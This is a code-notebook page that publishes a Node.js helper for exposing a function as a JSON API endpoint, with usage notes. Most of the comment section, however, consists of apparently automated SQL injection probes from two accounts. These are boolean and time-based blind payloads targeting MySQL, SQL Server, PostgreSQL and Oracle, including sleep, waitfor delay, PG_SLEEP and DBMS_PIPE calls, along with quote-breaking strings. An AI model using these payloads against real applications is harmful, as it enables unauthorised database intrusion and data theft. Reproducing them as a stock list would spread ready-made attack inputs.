JSON API with Endpoint

node v4.9.1
version: 1.0.0
endpointsharetweet
function jsonAPI(anExport, aFunction) { var tonicExpress = require("notebook")("tonic/express-endpoint/1.0.0") var bodyParser = require('body-parser'); var app = tonicExpress(anExport) app.set('json spaces', 2); app.use(require('compression')()) app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: false })); // add CORS headers, so the API is available anywhere app.use(function(req, res, next) { res.header("Access-Control-Allow-Origin", "*"); res.header("Access-Control-Expose-Headers", "tonic-rate-limit-remaining"); var reqHeaders = req.get("Access-Control-Request-Headers") if (reqHeaders) res.header("Access-Control-Allow-Headers", reqHeaders); var reqMethods = req.get("Access-Control-Request-Methods") if (reqMethods) res.header("Access-Control-Allow-Methods", reqMethods); next() }) app.all('/', async function(request, response, next) { try { var requestData = { method: request.method, body: request.body, query: request.query } var responseData = await (aFunction.length === 1 ? aFunction(requestData) : new Promise(function(resolve) { aFunction(requestData, resolve) })) if (responseData) response.json(responseData) else response.status(201).end() } catch(anException) { response.status(500) response.json({ message: "unable to process request", error: anException.toString() }) } }) return app; } module.exports = jsonAPI;
This helper creates a simple JSON API that accepts JSON request data and returns a JSON response. It can be used two different ways, depending on the callback's signature. The incoming data is an object with three properties: - "method": the request method used - "body": the data sent in the body of the request - "query": any query parameters sent in the request If the "arity" (the number of arguments) of the provided callback function is 1, then you can return a response directly, or a promise that eventually resolves to the data. Here's an example use: https://tonicdev.com/tonic/json-endpoint-example-1 If the "arity" is 2, then the second parameter is a "done" callback that you should call yourself whenever you want to return a response. You can pass the response as the only argument to the callback. Here's an example use: https://tonicdev.com/tonic/json-endpoint-example-2
Loading…

52 comments

  • posted 7 years ago by remnniscetic7
    https://tonicdev.com/tonic/json-endpoint-example-2
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    -1 OR 2+309-309-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1 OR 2+188-188-1=0+0+0+1
  • posted a month ago by xsjybldb
    -1' OR 2+870-870-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1' OR 2+993-993-1=0+0+0+1 or 'ox0bcrjs'='
  • posted a month ago by xsjybldb
    -1" OR 2+246-246-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a month ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    woq1OCTd'; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -5 OR 247=(SELECT 247 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -5) OR 397=(SELECT 397 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -1)) OR 477=(SELECT 477 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    xajhuWkc' OR 230=(SELECT 230 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    x6ZzJwP4') OR 264=(SELECT 264 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    vGJhF4Ut')) OR 622=(SELECT 622 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by xsjybldb
    1'"
  • posted a month ago by xsjybldb
    @@nucUL
  • posted a month ago by 67478559714940000843b0a0
    1
  • posted a month ago by 67478559714940000843b0a0
    1
  • posted a month ago by 67478559714940000843b0a0
    -1 OR 2+956-956-1=0+0+0+1 --
  • posted a month ago by 67478559714940000843b0a0
    -1 OR 2+822-822-1=0+0+0+1
  • posted a month ago by 67478559714940000843b0a0
    -1' OR 2+540-540-1=0+0+0+1 --
  • posted a month ago by 67478559714940000843b0a0
    -1' OR 2+173-173-1=0+0+0+1 or 'GaCvIq4I'='
  • posted a month ago by 67478559714940000843b0a0
    -1" OR 2+556-556-1=0+0+0+1 --
  • posted a month ago by 67478559714940000843b0a0
    1*if(now()=sysdate(),sleep(15),0)
  • posted a month ago by 67478559714940000843b0a0
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by 67478559714940000843b0a0
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by 67478559714940000843b0a0
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by 67478559714940000843b0a0
    1-1; waitfor delay '0:0:15' --
  • posted a month ago by 67478559714940000843b0a0
    1-1); waitfor delay '0:0:15' --
  • posted a month ago by 67478559714940000843b0a0
    1-1 waitfor delay '0:0:15' --
  • posted a month ago by 67478559714940000843b0a0
    1sAcXCTKV'; waitfor delay '0:0:15' --
  • posted a month ago by 67478559714940000843b0a0
    1-1 OR 704=(SELECT 704 FROM PG_SLEEP(15))--
  • posted a month ago by 67478559714940000843b0a0
    1-1) OR 652=(SELECT 652 FROM PG_SLEEP(15))--
  • posted a month ago by 67478559714940000843b0a0
    1-1)) OR 599=(SELECT 599 FROM PG_SLEEP(15))--
  • posted a month ago by 67478559714940000843b0a0
    1UcTs4IAi' OR 449=(SELECT 449 FROM PG_SLEEP(15))--
  • posted a month ago by 67478559714940000843b0a0
    1hLFCdEwg') OR 924=(SELECT 924 FROM PG_SLEEP(15))--
  • posted a month ago by 67478559714940000843b0a0
    1mpvTXCa7')) OR 653=(SELECT 653 FROM PG_SLEEP(15))--
  • posted a month ago by 67478559714940000843b0a0
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by 67478559714940000843b0a0
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by 67478559714940000843b0a0
    '"
  • posted a month ago by 67478559714940000843b0a0
    ����%2527%2522\'\"
  • posted a month ago by 67478559714940000843b0a0
    @@0HGqi

sign in to comment